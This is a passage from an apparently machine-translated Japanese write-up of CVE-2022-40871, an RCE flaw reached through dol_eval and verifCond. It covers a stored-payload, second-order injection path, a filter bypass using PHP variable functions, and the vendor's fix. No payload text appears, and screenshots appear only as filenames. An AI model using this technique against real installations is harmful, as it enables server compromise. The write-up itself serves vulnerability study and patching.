次に、有効なパラメーターを配置してデータベースに保存すると、最終的にパッケージは次のとおりです。

image-20221113004416906

データベースに正常に保存されます

image-20221113004508666

デバッグしてVerifcondを入力します

image-20221113004645570

Verifcond、悪意のあるコンストラクトステッチバイパスでフォローアップ、Dol_Evalを入力します

image-20221113004826342

コード実行に正常に

image-20221113004918701

成功したけいれん

image-20221113005123697

脆弱性コールスタック

image-20221113004952924

0x03脆弱性の概要

ここでのこのRCEの脆弱性の原則は、実際には二次注射に似ています。まず、悪意のあるコードがデータベースに保存され、次にデータベースからデータを抽出するときに悪意のあるコードがトリガーされます。ここでもWAFがバイパスされ、PHP機能——変数関数を使用します

脆弱性修正

ここでは、著者の脆弱性に対する修正は、Verifcond関数を強化することです

ここで、文字列のスプライシングがキャンセルされ、dol_evalの4番目のパラメーターは「1」です

image-20221113010538177

これは、次の判断になります。ここでのコメントを見てください。ここのルールは、RCEを防ぐように設計されています。

image-20221113011151428

1つは、DOL_EVAL関数の強化です。ここで、ForbiddenPhpFunctionsはVerifcond関数を追加します。これはVerifcondの実行を直接禁止しますが、このHHHの意味がわかりません

image-20221113010132703

著者:Huamang

元のテキスト接続から転載:https://blog.huamang.xyz/post/cve-2022-40871/